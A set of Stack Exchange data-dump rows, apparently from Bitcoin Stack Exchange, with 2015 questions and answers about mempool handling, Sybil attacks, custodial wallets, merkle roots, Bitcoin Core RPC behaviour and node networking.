  <row Id="41539" PostTypeId="2" ParentId="41536" CreationDate="2015-11-26T23:39:55.920" Score="9" Body="&lt;p&gt;A large part of those transactions only needs to be kept for a limited time, in the order of 10 minutes. Once transactions are in a block they are removed from the mempool and the whole block is written to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However while the transactions are in memory they are actually consulted quite often. For every newly incoming transactions checks need to be done to see for example whether it conflicts with any of the existing transactions or whether it's a child or parent to an already existing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing and reading them from disk will cause quite a bit of overhead. Which is actually important not just because it's a bit of overhead. For example it might open up DOS attacks where hostile nodes can create patterns of transactions that maximise reading and writing disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for transaction and block propagation speeds it is important that transactions are validated as quickly as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another point is that the amount of memory used by the mempool isn't actually huge anyway. Work is being done on better filtering of which transactions are allowed into the mempool in the first place (minimum fees and Child Pays for Parent etc.). As well as expunging older and/or low fee or otherwise lower interest transactions out when the mempool nears full.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-11-27T10:27:17.777" LastActivityDate="2015-11-27T10:27:17.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41540" PostTypeId="2" ParentId="41533" CreationDate="2015-11-27T00:18:19.103" Score="6" Body="&lt;p&gt;Problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Sybil attack (this is actually a huge one and has been for decades and decades in all kinds of applications). Other answers already mentioned this too. What is a majority if one attacker can easily pretend to be 10 million nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin makes (mining) nodes do Proof of Work and it's the amount of (unfakeable) work done that counts, not the number of (easily fakeable) nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Timestamp? There is no such thing as an &quot;earliest timestamped trade&quot;. Transactions arrive at different nodes at different times. Do you trust the timestamp that the attached put inside the transaction or do you listen to the majority (see 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Bitcoin decides what is &quot;earliest&quot; by constructing a global clock that beats very irregularly, but on average every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Initial download. Where in your system is a brand new node going to get the current ledger? From the majority? (See 1) Bitcoin solves this by keeping the history so as long as you start with the initial genesis block, you'll arrive at the current ledger without having to trust anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Keeping balances is actually not more efficient at all if you care anything for the pseudonymous nature of Bitcoin. Every address is supposed to be unique so if you keep a balance for every address it's still going to be big. Sure you can drop zero balances but Bitcoin does that too in the UTXO set. Once validated old blocks don't matter anymore at all. They get archived on disk or even deleted (pruned). So the 50GB of blocks don't matter anymore anyway.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-11-29T15:14:45.043" LastActivityDate="2015-11-29T15:14:45.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41541" PostTypeId="1" AcceptedAnswerId="41559" CreationDate="2015-11-27T04:30:40.177" Score="1" ViewCount="2559" Body="&lt;p&gt;My ISP has blocked port 8333, due to the gigs of inbound traffic I incurred running a full node. Consequently, I would like to run a full node through VPN (specifically, OpenVPN with an OpenVPN provider).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I need to have the VPN forward port 8333?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-11-28T16:54:58.890" Title="Running a Full Node through VPN?" Tags="|full-node|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41542" PostTypeId="1" AcceptedAnswerId="41543" CreationDate="2015-11-27T05:12:09.970" Score="0" ViewCount="59" Body="&lt;p&gt;Say there's an online wallet or exchange or some site, and they give me an address to send my bitcoins to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the public address but not the private address because technically those bitcoins are now &quot;theirs&quot; - and i'll use them to exchange for other crypto currencies at some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the public address is listed on sites like blockchain.info and I can see all of my transactions to that wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal to see transactions going out of that wallet, even if I haven't spent those bitcoins with the service? Is my wallet isolated to transactions I might conduct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do they use a normal bitcoin server, so whenever anyone withdraws, it uses whichever bitcoin transactions are available in this company's entire collection based on their bitcoin servers algorithms using all the accounts listed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, it shouldn't matter, so long as the total amount in everyone's accounts is equal to the total amount in all of the private keys they maintain. But do any of the services keep them isolated as sort of a check to make sure that a customer's coins are still there and it's not some type of ponzi scheme?&lt;/p&gt;&#xA;" OwnerUserId="30811" LastActivityDate="2015-11-27T10:48:43.653" Title="Do web wallets keep customer accounts isolated?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41543" PostTypeId="2" ParentId="41542" CreationDate="2015-11-27T10:48:43.653" Score="1" Body="&lt;p&gt;There are different kinds of web wallets. Some are more like pieces of software that you re-download every visit, but you still actually own the private keys (re-downloading is still a risk, mind you). But in this case it looks like you're talking about an exchange or other web wallet where you don't actually own the coins anymore (i.e. they have the private key). Yes, in that case it's normal that coins are not isolated anymore. And yes, that is extremely dangerous and has gone wrong many times before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general try to avoid web wallets and if you really need to use for example an exchange, try to move out the Bitcoins as soon as you can, to minimize your exposure to this risk. If you're actually actively trading on such an exchange, then you don't really have a choice and simply have to accept the risk of losing all your coins one day.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-27T10:48:43.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41544" PostTypeId="1" CreationDate="2015-11-27T10:57:04.407" Score="2" ViewCount="278" Body="&lt;p&gt;I do understand the necessity for a proof of work to avoid malicious miners mining a fork on the current blockchain.&#xA;This is difficult as this proof of work takes lots of power (and time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet I don't understand why do we need a proof of work if transactions were almost instantaneous: if I use an adress with unspent input to pay a merchant and if this transaction is immediately validated (or let's say in the next 12 seconds) by the peers, then I don't have any input left for double-spending...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my understanding so what points am I missing? &lt;/p&gt;&#xA;" OwnerUserId="30815" LastActivityDate="2016-11-06T02:02:05.667" Title="double spending" Tags="|doublespend|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41545" PostTypeId="2" ParentId="41525" CreationDate="2015-11-27T15:07:30.793" Score="2" Body="&lt;p&gt;For DER sigs, it's possible for R or S to be very small.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;DER sigs: &lt;code&gt;re.compile('^30[0-9a-fA-F]{72,136}02[0-9a-fA-F]{0,64}02[0-9a-fA-F]{0,64}[0-9a-fA-F]{8}')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Bitcoin addresses cannot have a 0. Also the {1} is superfluous&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Bitcoin addresses: &lt;code&gt;re.compile('^[123mn][a-km-zA-HJ-NP-Z1-9]{26,33}$')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, {1} is superfluous for OP_RETURN. Also, the a might be capitalized.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;OP Return hex strings: &lt;code&gt;re.compile('^6[aA][a-fA-F0-9]{0,80}$')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;TXIDs are fine&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-27T15:07:30.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41548" PostTypeId="1" CreationDate="2015-11-27T20:19:51.983" Score="2" ViewCount="735" Body="&lt;p&gt;I think that I understood most of the things about Bitcoin but there is still a mystery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see on &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt; that there are up to 4/5 new transactions every seconds. &#xA;My question are : &#xA;Do miners recalculate the Merkle root 4 to 5 times per second ? &#xA;What happens to transactions made exactly as the same time a block is released?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen that miners can choose the transactions they want to accept, but if it was the case I would be a miner, then accept maybe 2 or 3 transactions, find the nonce and get the 25 bitcoins reward. Why is that not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thank you a lot for your answers and I hope you will be able to help me. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="30823" LastEditorUserId="5406" LastEditDate="2016-02-21T12:07:19.003" LastActivityDate="2016-02-21T12:07:19.003" Title="How often do miners recalculate the merkle root they're working on?" Tags="|mining-theory|merkle-tree|block-header|transaction-selection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41549" PostTypeId="2" ParentId="41548" CreationDate="2015-11-27T20:51:09.443" Score="4" Body="&lt;p&gt;There are indeed many new transactions every second. The way miners deal with it is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If an appropriate proof-of-work is found on any merkle root, simply publish that block and any transactions that did not make it into the block go into the next block (assuming sufficient fees)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Otherwise, calculate a new merkle root every so often (varies per miner, but let's say for the sake of argument that it's 5 seconds) and try to calculate the proof-of-work with the transactions included.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The reason why miners don't accept just 2 or 3 transactions is that it's just as much work to find the nonce for the proof-of-work whether there's 1 transaction or 1000 transactions. The probabilities remain the same. The nice thing about including more transactions as a miner is that you get more mining fees out of them.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-27T20:51:09.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41551" PostTypeId="2" ParentId="41522" CreationDate="2015-11-27T22:14:05.757" Score="1" Body="&lt;p&gt;So after some investigations I realized that ZMQ support is not present on the latest tag on the repo (&lt;a href=&quot;https://github.com/wouldgo/bitcoind-docker-container/blob/c498879baecc681e0a2ecc5ee5068449782565fc/Dockerfile#L9&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; line was in charge of giving me the latest tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think that my problem is by now resolved by using &lt;code&gt;master&lt;/code&gt; as building branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks at all,&#xA;Dario.&lt;/p&gt;&#xA;" OwnerUserId="30781" LastEditorUserId="30781" LastEditDate="2015-11-29T10:27:17.683" LastActivityDate="2015-11-29T10:27:17.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41552" PostTypeId="2" ParentId="41544" CreationDate="2015-11-28T07:09:15.203" Score="4" Body="&lt;h3&gt;How do nodes bootstrap if some of the nodes are evil?&lt;/h3&gt;&#xA;&lt;p&gt;It's actually not that difficult to obtain a very large number of IP addresses. There are botnets that &lt;a href=&quot;https://en.wikipedia.org/wiki/Srizbi_botnet&quot; rel=&quot;nofollow noreferrer&quot;&gt;have hundreds of thousands of nodes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Imagine that each bot in that botnet joined your network, and pretended to be a normal node. Then, the botnet controller makes those nodes claim that some transaction never happened. (Or, that some other transaction happened instead.) If a new node arrives to the network, who are they going to believe: the 99% who claim that the transaction never happened, or the 1% who do?&lt;/p&gt;&#xA;&lt;p&gt;This is a deceptively simple sounding problem, and it's very easy to come up with proposals that sound good, but don't work.&lt;/p&gt;&#xA;&lt;h3&gt;What if two conflicting transactions show up at the same time?&lt;/h3&gt;&#xA;&lt;p&gt;Second, even supposing that the entire system came to consensus at the speed of light, I (an attacker) can still get two systems to disagree. I rent two servers in different parts of the world, and I get them both to broadcast different, conflicting transactions to local nodes. Because of the distance, it's guaranteed that even honest nodes will disagree about which transaction came first.&lt;/p&gt;&#xA;&lt;p&gt;Because there's no way to stop peers from occasionally disagreeing, you need a way to resolve those disagreements. In Bitcoin, this is pretty simple. Each Bitcoin node has its own memory pool, some of which conflict. Each node tries to create a block. Eventually, one of them will win.&lt;/p&gt;&#xA;&lt;p&gt;You're probably wondering, &amp;quot;Why not just ask your peers which transaction came first, and change your vote if a majority of them disagree?&amp;quot;&lt;/p&gt;&#xA;&lt;h3&gt;The problem with querying your peers: Cliques&lt;/h3&gt;&#xA;&lt;p&gt;Imagine a network structured like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lsy2M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lsy2M.png&quot; alt=&quot;network with nine nodes, half of which are blue and half of which are orange&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The blue nodes believe that transaction A came first. The orange nodes believe that transaction B came first. The lines represent connections between peers.&lt;/p&gt;&#xA;&lt;p&gt;From the perspective of each individual node, a majority of their peers agree with their vote, and so the two blocs will never come to agreement. In the worst case, the transaction will be in limbo forever.&lt;/p&gt;&#xA;&lt;p&gt;This problem is solvable, but all of the solutions (including Bitcoin's solution) have nontrivial downsides.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-11-06T02:02:05.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41553" PostTypeId="1" AcceptedAnswerId="41566" CreationDate="2015-11-28T08:33:42.940" Score="0" ViewCount="68" Body="&lt;p&gt;I'm downloading bitcoin main-net node to AWS instance. However it doesn't finished yet even though it has already passed four days.&#xA;My node's latest block is 321,744, and the latest block of Bitcoin main-net is 385,707.&#xA;Could you tell me how to hasten the speed of downloading?&lt;/p&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-11-29T15:36:36.130" Title="Sync of bitcoin main-net does not finished yet. Are there any ways to speed up it?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41555" PostTypeId="1" AcceptedAnswerId="41562" CreationDate="2015-11-28T10:52:03.340" Score="0" ViewCount="3088" Body="&lt;p&gt;When I called listunspent, it returned the following array. From the array, I thought the balance &quot;mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&quot; is 0.1097. However, when I called getbalance of mknGW629wzSkfWvgXF23d8eTrqibnhTcrf, it returned 0.000000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why sum of amounts of listunspnet is not equal with balance of address?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$./bitcoin-cli listunspent&#xA;&#xA;{&#xA;    &quot;txid&quot;: &quot;a82bf11b72d6ef2f5eaa62190914a4c80b8749e075015fda513b899f54d29e06&quot;,&#xA;    &quot;vout&quot;: 0,&#xA;    &quot;address&quot;: &quot;mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&quot;,&#xA;    &quot;account&quot;: &quot;&quot;,&#xA;    &quot;scriptPubKey&quot;: &quot;76a91439be11328b909d0327ef53ae923a9b4dd47420f788ac&quot;,&#xA;    &quot;amount&quot;: 0.00000600,&#xA;    &quot;confirmations&quot;: 367,&#xA;    &quot;spendable&quot;: true&#xA;  },&#xA;  {&#xA;    &quot;txid&quot;: &quot;b8f8d20946ca52283fbf192c7ebfb817deba260c54911938d59bb64bbb8cb8a7&quot;,&#xA;    &quot;vout&quot;: 0,&#xA;    &quot;address&quot;: &quot;mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&quot;,&#xA;    &quot;account&quot;: &quot;&quot;,&#xA;    &quot;scriptPubKey&quot;: &quot;76a91439be11328b909d0327ef53ae923a9b4dd47420f788ac&quot;,&#xA;    &quot;amount&quot;: 0.00000600,&#xA;    &quot;confirmations&quot;: 366,&#xA;    &quot;spendable&quot;: true&#xA;  },&#xA;  {&#xA;    &quot;txid&quot;: &quot;b8f8d20946ca52283fbf192c7ebfb817deba260c54911938d59bb64bbb8cb8a7&quot;,&#xA;    &quot;vout&quot;: 2,&#xA;    &quot;address&quot;: &quot;mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&quot;,&#xA;    &quot;account&quot;: &quot;&quot;,&#xA;    &quot;scriptPubKey&quot;: &quot;76a91439be11328b909d0327ef53ae923a9b4dd47420f788ac&quot;,&#xA;    &quot;amount&quot;: 0.10968200,&#xA;    &quot;confirmations&quot;: 366,&#xA;    &quot;spendable&quot;: true&#xA;  },&#xA;  {&#xA;    &quot;txid&quot;: &quot;b66513ae7aab964e5374d97be206b94e529055523a35d2249ad2917745c921f8&quot;,&#xA;    &quot;vout&quot;: 0,&#xA;    &quot;address&quot;: &quot;mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&quot;,&#xA;    &quot;account&quot;: &quot;&quot;,&#xA;    &quot;scriptPubKey&quot;: &quot;76a91439be11328b909d0327ef53ae923a9b4dd47420f788ac&quot;,&#xA;    &quot;amount&quot;: 0.00000600,&#xA;    &quot;confirmations&quot;: 370,&#xA;    &quot;spendable&quot;: true&#xA;  }&#xA;]&#xA;&#xA;$ ./bitcoin-cli getbalance mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&#xA;0.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-11-28T23:35:43.220" Title="Why the amount of listunspent and getbalance is not the same when each data is called by API?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41556" PostTypeId="2" ParentId="359" CreationDate="2015-11-28T14:07:31.497" Score="3" Body="&lt;p&gt;I think that &lt;a href=&quot;http://bitcoinacademic.wordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinacademic.wordpress.com&lt;/a&gt; could be able to help. There is a wide collection of academic research in many fields. However, you are right, there are not that many peer reviewed journal articles out there, but I do think some of this research is valuable and provides interesting insights. &lt;/p&gt;&#xA;" OwnerUserId="30837" LastActivityDate="2015-11-28T14:07:31.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41557" PostTypeId="1" CreationDate="2015-11-28T14:41:43.977" Score="0" ViewCount="591" Body="&lt;p&gt;Does a bitcoin have the same value in every country? Is it not like real money that we use in real life? Does it have a different value in every country?&lt;/p&gt;&#xA;" OwnerUserId="30838" LastEditorUserId="2306" LastEditDate="2015-11-29T06:15:29.537" LastActivityDate="2023-08-12T17:22:52.223" Title="Is Bitcoin's value the same, country to country? If not, which valuation is correct?" Tags="|exchanges|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41558" PostTypeId="2" ParentId="41557" CreationDate="2015-11-28T14:59:36.370" Score="2" Body="&lt;p&gt;Things only have value if you can get stuff with it.  The value of a bitcoin is dependent on supply and demand and how much the BTC-currency exchanges are exchanging for, so it does not necessarily have the same value in a all countries.&lt;/p&gt;&#xA;" OwnerUserId="30353" LastActivityDate="2015-11-28T14:59:36.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41559" PostTypeId="2" ParentId="41541" CreationDate="2015-11-28T16:54:58.890" Score="1" Body="&lt;p&gt;Yes, incoming connections must be allowed through port 8333. If your VPN provider allows port-forwarding, it should be configurable in your account settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://bitcoin.org/en/full-node#network-configuration&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/full-node#network-configuration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2520" LastActivityDate="2015-11-28T16:54:58.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41560" PostTypeId="1" CreationDate="2015-11-28T18:15:21.563" Score="0" ViewCount="161" Body="&lt;p&gt;It is always stated that Bitcoin is uncontrolled and it does not make sense to cheat and double-spend because you will need more computing power than everyone else combined. Isn't that changed with mining pools? I can see top biggest mining pools controlling 75% of computing power. If they are in agreement, can't they (by &amp;quot;they&amp;quot; I mean pool managers) cheat on almost every transaction? Aren't pools becoming kind of uncontrolled authority in Bitcoin community, what is controlling them?&lt;/p&gt;&#xA;" OwnerUserId="30848" LastEditorUserId="5406" LastEditDate="2022-07-19T11:42:48.413" LastActivityDate="2022-07-19T11:42:48.413" Title="Is Bitcoin still uncontrolled with all those mining pools?" Tags="|mining-pools|majority-attack|decentralization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="41561" PostTypeId="1" CreationDate="2015-11-28T18:44:57.917" Score="2" ViewCount="1755" Body="&lt;p&gt;Is there a python script that i could use to convert a list of private hex keys to there import format in bulk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be adjusted to take a .txt list of hex addresses and convert the to private import format, then print the results to a txt file?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In [1]: import base58&#xA;In [2]: hexstring= &quot;00010966776006953D5567439E5E39F86A0D273BEED61967F6&quot;&#xA;In [3]: unencoded_string = bytes.fromhex(hexstring)&#xA;In [4]: encoded_string= base58.b58encode(unencoded_string)&#xA;In [5]: print(encoded_string)&#xA;16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30850" LastEditorUserId="30850" LastEditDate="2015-11-28T18:51:28.013" LastActivityDate="2020-06-28T17:04:57.240" Title="Convert a list of 64 hex keys to private import format" Tags="|python|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41562" PostTypeId="2" ParentId="41555" CreationDate="2015-11-28T23:35:43.220" Score="4" Body="&lt;p&gt;Because Bitcoin Core does not support &quot;balance of address&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet has a single balance, and addresses are treated as separate input gates into that balance, so you can distinguish what is being paid for (by allowing you to give a different address to each payer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The argument to &lt;code&gt;getbalance&lt;/code&gt; is an account name. Accounts are just bean counters: they don't correspond to actual coins in the network. You can change their balance using the &lt;code&gt;move&lt;/code&gt; RPC command, which does not even create a transaction. They're a purely local abstraction. You can associate an address with an account so that receives on that address credit the account, and you can use the &lt;code&gt;sendfrom&lt;/code&gt; RPC to deduct the sent funds from a given account (but the actual transaction outputs used are still drawn from a pool shared by the whole wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts are a confusing feature however, and they're hard to use in a correct way. That's why they're also scheduled for deprecation in Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you're looking for the &lt;code&gt;getreceivedbyaddress&lt;/code&gt; RPC?&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-11-28T23:35:43.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41563" PostTypeId="1" CreationDate="2015-11-29T02:34:02.937" Score="1" ViewCount="418" Body="&lt;p&gt;Looking to create a partial signed transaction with pybitcointools that is recognized and accepted by Electrum GUI client. I have tried to do so for a 2 out of 2 multisig transactions, but so far failed get a partial signed transaction with pybitcointools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the commands mktx, multisign and apply_multisignatures I was able to create (2/2 signed) multisig transactions, accepted and ready to broadcast by Electrum GUI client once loaded from text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using apply_multisignatures with only one of the two multi signatures I expected a (1/2) partial signed transaction that could be imported/loaded into the Electrum GUI client. However, the Electrum GUI client didn't recognize this transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to apply only one signature with pybitcointools in a way that is compatible with the Electrum GUI client?&lt;/p&gt;&#xA;" OwnerUserId="30858" LastActivityDate="2015-11-29T02:34:02.937" Title="How to create a partial signed multisig transaction with pybitcointools (Electrum)" Tags="|electrum|multi-signature|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41564" PostTypeId="1" CreationDate="2015-11-29T14:38:32.140" Score="3" ViewCount="2652" Body="&lt;p&gt;I know my ISP provides IPV6. It was previously broken, but restarting my router fixed it. I confirmed my IPV6 connectivity on several websites. Then I restarted Bitcoin Core so it would see the new IPV6 address on startup, but bitnodes.21.co says my IPV6 address can't be reached. Any advice?&lt;/p&gt;&#xA;" OwnerUserId="30782" LastEditorUserId="47827" LastEditDate="2022-12-11T14:43:05.660" LastActivityDate="2022-12-11T14:43:05.660" Title="How do I make Bitcoin Core listen on IPV6?" Tags="|bitcoin-core|p2p|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41565" PostTypeId="2" ParentId="41564" CreationDate="2015-11-29T15:13:58.397" Score="2" Body="&lt;p&gt;Normally it should autodetect. Check for lines like these in debug.log:&#xA;&lt;code&gt;&#xA;AddLocal([2a02:91a:f3:21aa::1]:8333,1)&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, Bitcoin Core is listening to it, and if another service can't reach it, it may be a network configuration problem or a problem with that service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it isn't, you can manually bind to an IP address (IPv4 or IPv6) using the &lt;code&gt;-bind&lt;/code&gt; option.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-11-29T15:13:58.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41566" PostTypeId="2" ParentId="41553" CreationDate="2015-11-29T15:36:36.130" Score="1" Body="&lt;p&gt;It's probably using 100% CPU? Maybe you can add some CPU temporarily? Which version are you running? 0.12 is currently in beta and is about 5x faster with signature checking, which is the biggest CPU user. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-29T15:36:36.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41567" PostTypeId="1" AcceptedAnswerId="43382" CreationDate="2015-11-29T16:59:08.143" Score="1" ViewCount="658" Body="&lt;p&gt;I'd like to be able to backup the Bitcoin Core data directory. I know I can just copy everything except wallet.dat to an external hard drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to restore it in case of drive crash, catch up, and be able to update the backup with just new blocks, because it would take too long to copy 50+ GB back. Can I do a full folder copy, telling Windows not to replace anything? I think that should work, but there's a block index, and wouldn't keeping the old index with new block data keep Bitcoin Core from knowing about the new blocks I had caught up on?&lt;/p&gt;&#xA;" OwnerUserId="30782" LastEditorUserId="30782" LastEditDate="2016-03-18T01:25:38.900" LastActivityDate="2016-03-18T01:25:38.900" Title="How do I backup the Bitcoin Core data directory?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41568" PostTypeId="2" ParentId="41560" CreationDate="2015-11-29T17:02:46.763" Score="1" Body="&lt;p&gt;To an extent yes. It's bad that mining pools are so big and fairly concentrated. Work is being done to try to alleviate this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few points limit the threat though:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The amount of harm miners can do is limited. They can't outright steal money, or create more money out of thin air. The damage would be in the order of double spending (resolution: wait for more confirmations) or censoring transactions (which a miner doesn't really have an incentive to do unless paid a lot by someone else or forced by law).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Individual miners can switch (they have in the past) to other pools if the pool operator goes rogue. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pool operators would be digging their own graves if they do evil things: the Bitcoin price would plummet, costing them a lot of money and lost investment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As a final resolve, when things turn really ugly, Bitcoin could change the proof of work algorithm, making ALL mining equipment obsolete. Miners are basically hired by the Bitcoin network to do some work, if they perform poorly they can get fired.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, although far from ideal, there still are incentives to keep miners honest and rules that limit their dishonesty.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-11-30T02:06:31.740" LastActivityDate="2015-11-30T02:06:31.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41569" PostTypeId="2" ParentId="41121" CreationDate="2015-11-29T17:20:28.443" Score="1" Body="&lt;p&gt;If you're running two bitcoind instances on one machine, depending on the use case, you may instead be better off by connecting one to the other only, and not make it talk to the network. This will reduce the total bandwidth used significantly, as every block and transaction will only be fetched once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the first one normally, and use &lt;code&gt;-connect=127.0.0.1:18442&lt;/code&gt; on the second.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-11-29T17:20:28.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
